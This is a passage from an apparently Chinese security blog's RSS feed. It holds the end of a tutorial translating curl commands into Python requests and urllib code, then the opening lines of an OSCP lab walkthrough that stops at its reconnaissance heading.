 &lt;tr&gt;
 &lt;th&gt;curl 命令示例&lt;/th&gt;
 &lt;th&gt;Python requests 等效代码&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl http://example.com&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.get('http://example.com')&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl -X POST -d &amp;quot;key=value&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.post(url, data={'key':'value'})&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl -H &amp;quot;Authorization: Bearer token&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.get(url, headers={'Authorization':'Bearer token'})&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl --cookie &amp;quot;session=abc&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.get(url, cookies={'session':'abc'})&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl -L --location-trusted&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.get(url, allow_redirects=True)&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl --data-binary @file.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.post(url, data=open('file.txt','rb'))&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;code&gt;curl -u user:pass&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;requests.get(url, auth=('user','pass'))&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-使用标准库-urllib无需安装"&gt;🌐 使用标准库 &lt;code&gt;urllib&lt;/code&gt;（无需安装）
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;urllib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# GET 请求&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/get&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# POST 请求&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlencode&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;key&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/post&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 添加 Headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/headers&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;User-Agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Python-URLLib/3.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="-高级技巧"&gt;⚙️ 高级技巧
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;1. 保持会话状态（模拟多个连续请求）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/cookies/set/session/abc123&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 设置 cookie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/cookies&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 携带 cookie&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. 处理 SSL/TLS 证书验证&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 忽略证书错误（类似 curl -k）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://expired.badssl.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用自定义 CA 证书&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://internal.site&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/path/to/ca.pem&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;3. 调试请求详情（类似 curl -v）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;logging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;basicConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DEBUG&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 启用调试输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://httpbin.org/get&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;4. 进度条显示（大文件下载）&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;tqdm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tqdm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://example.com/bigfile.zip&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;bigfile.zip&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;wb&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tqdm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;content-length&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="n"&gt;unit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;B&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pbar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;chunk&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iter_content&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;pbar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;chunk&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="-在-ipython-中的交互技巧"&gt;💡 在 IPython 中的交互技巧
&lt;/h3&gt;&lt;p&gt;在 IPython 环境中 (&lt;code&gt;pip install ipython&lt;/code&gt;)，可以使用 &lt;code&gt;!&lt;/code&gt; 直接运行系统命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;或者捕获输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;curl_output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;httpbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl_output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;对于 Python 函数，使用 &lt;code&gt;%time&lt;/code&gt; 计时：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://google.com&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="注意事项"&gt;注意事项
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;在生产环境中避免 &lt;code&gt;verify=False&lt;/code&gt;，会降低安全性&lt;/li&gt;
&lt;li&gt;处理大文件下载时使用 &lt;code&gt;stream=True&lt;/code&gt; 避免内存耗尽&lt;/li&gt;
&lt;li&gt;对于复杂站点（JS渲染），考虑使用 &lt;code&gt;selenium&lt;/code&gt; 替代&lt;/li&gt;
&lt;li&gt;HTTP/2 支持需安装 &lt;code&gt;httpx&lt;/code&gt; 库（&lt;code&gt;pip install httpx&lt;/code&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场-Amaterasu WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-amaterasu-wp/</link><pubDate>Thu, 17 Jul 2025 17:23:45 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-amaterasu-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场-Amaterasu WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官方网页打开靶机，此靶机目前暂未在https://www.vulnhub.com/ 有镜像文件，后续若官方给出，会在评论补充。连上VPN后测速自动设置MTU&lt;a class="link" href="https://mp.weixin.qq.com/s/mzYB8HQGcZ9dKxt2gISGsQ" target="_blank" rel="noopener"
 &gt;【踩坑总结】丝滑连接OffSec官方VPN的方法&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717093259701" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717093259701.png"&gt;&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
